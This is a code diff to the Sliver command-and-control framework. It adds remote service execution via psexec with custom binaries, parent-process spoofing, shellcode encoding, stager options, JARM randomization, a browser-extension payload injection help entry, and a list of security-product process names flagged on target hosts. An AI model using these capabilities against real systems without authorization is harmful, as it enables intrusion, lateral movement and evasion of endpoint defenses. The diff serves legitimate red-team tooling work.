 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token {
-		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    cmdPath,
-			Args:    args,
-			Output:  captureOutput,
-			Stderr:  stderr,
-			Stdout:  stdout,
+	if token || ppid != 0 {
+		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
+			Request:  con.ActiveTarget.Request(ctx),
+			Path:     cmdPath,
+			Args:     args,
+			Output:   captureOutput,
+			Stderr:   stderr,
+			Stdout:   stdout,
+			UseToken: token,
+			PPid:     uint32(ppid),
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{

client/command/exec/psexec.go

@@ -21,6 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	insecureRand "math/rand"
 	"strings"
 	"time"
@@ -47,10 +48,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
+	var serviceBinary []byte
 	profile := ctx.Flags.String("profile")
 	serviceName := ctx.Flags.String("service-name")
 	serviceDesc := ctx.Flags.String("service-description")
 	binPath := ctx.Flags.String("binpath")
+	customExe := ctx.Flags.String("custom-exe")
 	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
 
 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -61,35 +64,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 	}
 
-	if profile == "" {
-		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
-		return
+	if customExe == "" {
+		if profile == "" {
+			con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+			return
+		}
+
+		// generate sliver
+		generateCtrl := make(chan bool)
+		con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+		profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+		generateCtrl <- true
+		<-generateCtrl
+		var implantProfile *clientpb.ImplantProfile
+		for _, prof := range profiles.Profiles {
+			if prof.Name == profile {
+				implantProfile = prof
+			}
+		}
+		if implantProfile.GetName() == "" {
+			con.PrintErrorf("No profile found for name %s\n", profile)
+			return
+		}
+		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
+	} else {
+		// use a custom exe instead of generating a new Sliver
+		fileBytes, err := ioutil.ReadFile(customExe)
+		if err != nil {
+			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
+			return
+		}
+		serviceBinary = fileBytes
 	}
 
-	// generate sliver
-	generateCtrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
-	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("Error: %s\n", err)
-		return
-	}
-	generateCtrl <- true
-	<-generateCtrl
-	var implantProfile *clientpb.ImplantProfile
-	for _, prof := range profiles.Profiles {
-		if prof.Name == profile {
-			implantProfile = prof
-		}
-	}
-	if implantProfile.GetName() == "" {
-		con.PrintErrorf("No profile found for name %s\n", profile)
-		return
-	}
-	sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
 	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)

client/command/exec/sideload.go

@@ -50,6 +50,8 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -61,6 +63,9 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		ProcessName: processName,
 		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
+		IsUnicode:   ctx.Flags.Bool("unicode"),
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		ProcessArgs: processArgs,
 	})
 	ctrl <- true
 	<-ctrl

client/command/extensions/load.go

@@ -246,7 +246,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		if !depLoaded && extName == ext.DependsOn {
 			depLoaded = true
 		}
-		if ext.Name == extName {
+		if ext.CommandName == extName {
 			return nil
 		}
 	}

client/command/filesystem/download.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -155,7 +154,15 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 		if err == nil && fi.IsDir() {
 			if download.IsDir {
 				// Come up with a good file name - filters might make the filename ugly
-				fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
+				session, beacon := con.ActiveTarget.Get()
+				implantName := ""
+				if session != nil {
+					implantName = session.Name
+				} else if beacon != nil {
+					implantName = beacon.Name
+				}
+
+				fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
 			}
 			if runtime.GOOS == "windows" {
 				// Windows has a file path length of 260 characters
@@ -165,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = path.Join(dst, fileName)
+			dst = filepath.Join(dst, fileName)
 		}
 
 		// Add an extension to a directory download if one is not provided.

client/command/generate/generate.go

@@ -249,6 +249,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
+	limitLocale := ctx.Flags.String("limit-locale")
 
 	isSharedLib := false
 	isService := false
@@ -281,6 +282,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	if targetOS == "" || targetArch == "" {
 		return nil
 	}
+	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
+		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
+		return nil
+	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
@@ -333,6 +338,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
+		LimitLocale:       limitLocale,
 
 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
@@ -473,6 +479,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		uri.Path = strings.TrimSuffix(uri.Path, "/")
 		if uri.Scheme != "http" && uri.Scheme != "https" {
 			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
 		}
@@ -636,12 +643,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, errors.New("no file data")
 	}
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		confirm := false
+		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
+		if confirm {
+			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+				Architecture: config.GOARCH,
+				Iterations:   1,
+				BadChars:     []byte{},
+				Data:         fileData,
+			})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			} else {
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	err = ioutil.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -667,6 +696,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
+	if config.LimitLocale != "" {
+		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
+	}
 	return strings.Join(limits, "; ")
 }
 

client/command/help/long-help.go

@@ -103,6 +103,8 @@ var (
 		consts.ReactionStr:                         reactionHelp,
 		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
+
+		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -204,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
 `
 
-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -365,8 +367,8 @@ Sideload a MacOS shared library into a new process using DYLD_INSERT_LIBRARIES:
 	sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
 Sideload a Linux shared library into a new bash process using LD_PRELOAD:
 	sideload -p /bin/bash /tmp/mylib.so
-Sideload a Windows DLL as shellcode in a new process using sRDI, specifying the entrypoint and its arguments:
-	sideload -a "hello world" -e MyEntryPoint /tmp/mylib.dll
+Sideload a Windows DLL as shellcode in a new process using Donut, specifying the entrypoint and its arguments:
+	sideload -e MyEntryPoint /tmp/mylib.dll "argument to the function MyEntryPoint"
 
 [[.Bold]]Remarks:[[.Normal]]
 Linux and MacOS shared library must call exit() once done with their jobs, as the Sliver implant will wait until the hosting process
@@ -462,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -686,6 +688,19 @@ dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --reference-file /t
 
 	getPrivsHelp = `[[.Bold]]Command:[[.Normal]] getprivs
 [[.Bold]]About:[[.Normal]] Get privilege information for the current process (Windows only).
+`
+
+	cursedChromeHelp = `[[.Bold]]Command:[[.Normal]] cursed chrome
+[[.Bold]]About:[[.Normal]] Injects a Cursed Chrome payload into an existing Chrome extension.
+
+If no extension is specified, Sliver will enumerate all installed extensions, extract their
+permissions and determine a valid target for injection. For Cursed Chrome to work properly
+the target extension must have either of these two sets of permissions:
+
+1. "webRequest" "webRequestBlocking" "<all_urls>" 
+2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 
+
+More information: https://github.com/mandatoryprogrammer/CursedChrome
 `
 )
 

client/command/hosts/hosts.go

@@ -26,6 +26,7 @@ import (
 	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"ID",
 		"Hostname",
 		"Operating System",
+		"Locale",
 		"Sessions",
 		"Beacons",
 		"IOCs",
 		"Extensions",
+		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
+			host.Locale,
 			hostSessions(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
+			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()

client/command/info/info.go

@@ -22,6 +22,7 @@ import (
 	"context"
 	"time"
 
+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,25 @@ import (
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
+	var err error
+
+	// Check if we have an active target via 'use'
+	session, beacon := con.ActiveTarget.Get()
+
+	idArg := ctx.Args.String("session")
+	if idArg != "" {
+		// ID passed via argument takes priority
+		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
+	} else {
+		if session == nil && beacon == nil {
+			session, beacon, err = use.SelectSessionOrBeacon(con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
 	}
+
 	if session != nil {
 
 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +65,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
 
 	} else if beacon != nil {
 
@@ -67,12 +86,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
+		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
 
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)

client/command/jobs/https.go

@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EnforceOTP:      !disableOTP,
 		LongPollTimeout: int64(longPollTimeout),
 		LongPollJitter:  int64(longPollJitter),
+		RandomizeJARM:   !ctx.Flags.Bool("disable-randomized-jarm"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/stage.go

@@ -19,9 +19,13 @@ package jobs
 */
 
 import (
+	"bytes"
+	"compress/zlib"
 	"context"
+	"encoding/binary"
 	"net/url"
 	"strconv"
+	"strings"
 
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
@@ -36,6 +40,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	prependSize := ctx.Flags.Bool("prepend-size")
+	compress := strings.ToLower(ctx.Flags.String("compress"))
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -75,7 +81,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 		// check if aes iv is correct length
 		if len(aesEncryptIv)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES IV\n")
+			con.PrintErrorf("Incorrect length of AES IV\n")
 			return
 		}
 
@@ -88,12 +94,34 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	switch compress {
+	case "zlib":
+		// use zlib to compress the stage2
+		var compBuff bytes.Buffer
+		zlibWriter := zlib.NewWriter(&compBuff)
+		zlibWriter.Write(stage2)
+		zlibWriter.Close()
+		stage2 = compBuff.Bytes()
+	case "gzip":
+		stage2 = util.GzipBuf(stage2)
+	case "deflate9":
+		fallthrough
+	case "deflate":
+		stage2 = util.DeflateBuf(stage2)
+	}
+
 	if aesEncrypt {
+		// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
+		// but it's also useful here as more advanced cipher modes are often difficult to implement in
+		// a stager.
 		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
 	}
 
 	switch stagingURL.Scheme {
 	case "http":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting HTTP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -110,6 +138,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
 	case "https":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		cert, key, err := getLocalCertificatePair(ctx)
 		if err != nil {
 			con.Println()
@@ -135,6 +166,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
 	case "tcp":
+		// Always prepend payload size for TCP stagers
+		stage2 = prependPayloadSize(stage2)
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting TCP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -161,3 +194,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
 	}
 }
+
+func prependPayloadSize(payload []byte) []byte {
+	payloadSize := uint32(len(payload))
+	lenBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(lenBuf, payloadSize)
+	return append(lenBuf, payload...)
+}

client/command/loot/add-credential.go

@@ -55,10 +55,20 @@ func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient
 	switch credType {
 	case clientpb.CredentialType_USER_PASSWORD.String():
 		loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
-		usernamePrompt := &survey.Input{Message: "Username: "}
-		survey.AskOne(usernamePrompt, &loot.Credential.User)
-		passwordPrompt := &survey.Input{Message: "Password: "}
-		survey.AskOne(passwordPrompt, &loot.Credential.Password)
+		for loot.Credential.User == "" {
+			usernamePrompt := &survey.Input{Message: "Username: "}
+			survey.AskOne(usernamePrompt, &loot.Credential.User)
+			if loot.Credential.User == "" {
+				con.Println("Username is required")
+			}
+		}
+		for loot.Credential.Password == "" {
+			passwordPrompt := &survey.Input{Message: "Password: "}
+			survey.AskOne(passwordPrompt, &loot.Credential.Password)
+			if loot.Credential.Password == "" {
+				con.Println("Password is required")
+			}
+		}
 	case clientpb.CredentialType_API_KEY.String():
 		loot.CredentialType = clientpb.CredentialType_API_KEY
 		usernamePrompt := &survey.Input{Message: "API Key: "}

client/command/loot/helpers.go

@@ -176,10 +176,14 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		if loot.Name == loot.File.Name {
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		if loot.Name == filename {
 			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, filename, loot.Type, loot.LootID)
 		}
 	}
 	table.Flush()

client/command/loot/loot.go

@@ -166,8 +166,13 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 		strings.Repeat("=", len("File Name")),
 		strings.Repeat("=", len("UUID")),
 	)
+
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, filename, loot.LootID)
 	}
 
 	table.Flush()

client/command/portfwd/portfwd-add.go

@@ -19,8 +19,10 @@ package portfwd
 */
 
 import (
+	"fmt"
 	"log"
 	"net"
+	"regexp"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
 	"github.com/desertbit/grumble"
 )
 
+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
 	}
 	if session.Transport == "wg" {
-		con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+		con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
 	}
 	remoteAddr := ctx.Flags.String("remote")
 	if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
 	}
 	bindAddr := ctx.Flags.String("bind")
-	if remoteAddr == "" {
-		con.PrintErrorf("Must specify a bind target host:port")
+	if bindAddr == "" {
+		con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
 		return
 	}
+	// If only a port is specified bind to localhost
+	if portNumberOnlyRegexp.MatchString(bindAddr) {
+		bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
+	}
 
 	tcpProxy := &tcpproxy.Proxy{}
 	channelProxy := &core.ChannelProxy{

client/command/portfwd/portfwd.go

@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
 		"Remote Address",
 	})
 	for _, p := range portfwds {
-		tw.AppendHeader(table.Row{
+		tw.AppendRow(table.Row{
 			p.ID,
 			p.SessionID,
 			p.BindAddr,

client/command/processes/ps.go

@@ -37,15 +37,42 @@ var (
 	// Stylizes known processes in the `ps` command
 	knownSecurityTools = map[string][]string{
 		// Process Name -> [Color, Stylized Name]
-		"ccSvcHst.exe":          {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
-		"cb.exe":                {console.Red, "Carbon Black"},                 // Carbon Black
-		"MsMpEng.exe":           {console.Red, "Windows Defender"},             // Windows Defender
-		"smartscreen.exe":       {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
-		"CSFalconService.exe":   {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
-		"CSFalconContainer.exe": {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
-		"bdservicehost.exe":     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdagent.exe":           {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdredline.exe":         {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
+		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
+		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
+		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
+		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
+		"CSFalconContainer.exe":           {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
+		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
+		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"Deep Security Manager.exe":	   {console.Red, "Trend Micro"},		  // TM Deep Security Manager 
+		"coreServiceShell.exe":	   	   {console.Red, "Trend Micro"},		  // TM Anti-malware scan process
+		"ds_monitor.exe":	   	   {console.Red, "Trend Micro"},		  // TM Deep Security Monitor
+		"Notifier.exe":	   		   {console.Red, "Trend Micro"},	    	  // TM Deep Security Notifier's process
+		"dsa.exe":	   		   {console.Red, "Trend Micro"},		  // TM Agent's main process
+		"ds_nuagent.exe":	   	   {console.Red, "Trend Micro"},	 	  // TM Advanced TLS traffic inspection
+		"coreFrameworkHost.exe":	   {console.Red, "Trend Micro"},		  // TM Anti-malware scan process
+		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
